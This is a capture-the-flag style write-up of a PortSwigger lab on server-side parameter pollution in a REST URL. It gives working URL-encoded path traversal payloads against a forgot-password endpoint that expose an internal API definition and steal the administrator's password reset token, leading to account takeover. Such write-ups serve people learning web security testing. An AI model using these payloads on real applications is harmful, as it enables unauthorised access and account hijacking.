Exploiting server-side parameter pollution in a REST URL | May 10, 2024
Table of Contents
Overview
Welcome to my another writeup! In this Portswigger Labs lab, you'll learn: Exploiting server-side parameter pollution in a REST URL! Without further ado, let's dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★☆☆☆☆☆☆
Background
To solve the lab, log in as the administrator and delete carlos.
Enumeration
Login page:

In here, we can reset an account's password via the "Forgot password?" link.

We can try to submit a random username:

Burp Suite HTTP history:

When we clicked the "Submit" button, it'll send a POST request to /forgot-password with parameter csrf and username.
After that, if the username is invalid, it'll respond "The provided username \"foobar\" does not exist".
In this endpoint, we can test for server-side parameter pollution on the username parameter.
After some trials and errors, I found something weird after truncating query strings via #:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%23

Hmm… Invalid route??
A RESTful API may place parameter names and values in the URL path, rather than the query string. For example, consider the following path:
/api/users/123
The URL path might be broken down as follows:
/apiis the root API endpoint./usersrepresents a resource, in this caseusers./123represents a parameter, here an identifier for the specific user.
Consider an application that enables us to edit user profiles based on their username. Requests are sent to the following endpoint:
GET /edit_profile.php?name=peter
This results in the following server-side request:
GET /api/private/users/peter
An attacker may be able to manipulate server-side URL path parameters to exploit the API. To test for this vulnerability, add path traversal sequences to modify parameters and observe how the application responds.
We could submit URL-encoded peter/../admin as the value of the name parameter:
GET /edit_profile.php?name=peter%2f..%2fadmin
This may result in the following server-side request:
GET /api/private/users/peter/../admin
If the server-side client or back-end API normalize this path, it may be resolved to /api/private/users/admin.
In our case, the browser sends the following request:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%23
And the server-side request may resulted in this:
GET /api/users/foobar#/email
Exploitation
Armed with above information, we can try to perform path traversal to reset password on account administrator:
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2fadministrator
Which the server-side request may resulted in:
GET /api/users/foobar/../administrator/email
And after path normalization, it should be resolved to this:
GET /api/users/administrator/email
Let's try that!

Nice! We can trigger a reset password on account administrator via path traversal!
Now, what if I traverse back to the root of the path (/)?
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2f

Hmm… Looks like it returned HTTP status 404 Not Found.
Also, when the internal API accessed an invalid endpoint, it also said: Please refer to the API definition.
Ahh… I wonder if there's any API documentation on the internal API server…
Here's some examples of possible API documentation endpoint:
/api
/swagger/index.html
/openapi.json
After trying different endpoints, I found that /openapi.json works!
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2fopenapi.json%23
By doing so, the server-side request should be resulted in:
GET /api/users/foobar/../../../../../openapi.json#/email
After path normalization:
GET /openapi.json

Nice! We get the internal API documentation!
Beautified:
{
"openapi": "3.0.0",
"info": {
"title": "User API",
"version": "2.0.0"
},
"paths": {
"/api/internal/v1/users/{username}/field/{field}": {
"get": {
"tags": [
"users"
],
"summary": "Find user by username",
"description": "API Version 1",
"parameters": [
{
"name": "username",
"in": "path",
"description": "Username",
"required": true,
"schema": {
...}
In the paths attribute, we can see there's a route:
/api/internal/v1/users/{username}/field/{field}
In the above route, we can see there's a parameter called field. It seems like it's referring to the user object's attribute (field)!
Armed with above information, we can try to get administrator's user object attribute username's value for testing:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2f/api/internal/v1/users/administrator/field/username%23

As expected, it returned the username value!
Moreover, by viewing the source page of /forgot-password, we can see that there's a JavaScript file being loaded:
<script src="/static/js/forgotPassword.js"></script>
/static/js/forgotPassword.js:
let forgotPwdReady = (callback) => {
if (document.readyState !== "loading") callback();
else document.addEventListener("DOMContentLoaded", callback);
}
[...]
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
When the DOM (Document Object Model) has fully loaded, if GET parameter name reset-token exist, it'll redirect us to /forgot-password?passwordResetToken=<resetToken>.
Hmm… What if we exploit the server-side parameter pollution and path traversal to retrieve administrator's reset token??
To do so, we first generate a reset token for account administrator:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=administrator
Then, exploit the server-side parameter pollution and path traversal to get its reset token:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2f/api/internal/v1/users/administrator/field/passwordResetToken%23

Nice! We got the reset token (uyuj0uianhqkeryhkvackien1bvmc23c)!
Now can send a GET request to /forgot-password with parameter passwordResetToken=uyuj0uianhqkeryhkvackien1bvmc23c to reset administrator's pasword:


Next, login as user administrator with the new password:

Finally, go to the "Admin panel" and delete user carlos:



Conclusion
What we've learned:
- Exploiting server-side parameter pollution in a REST URL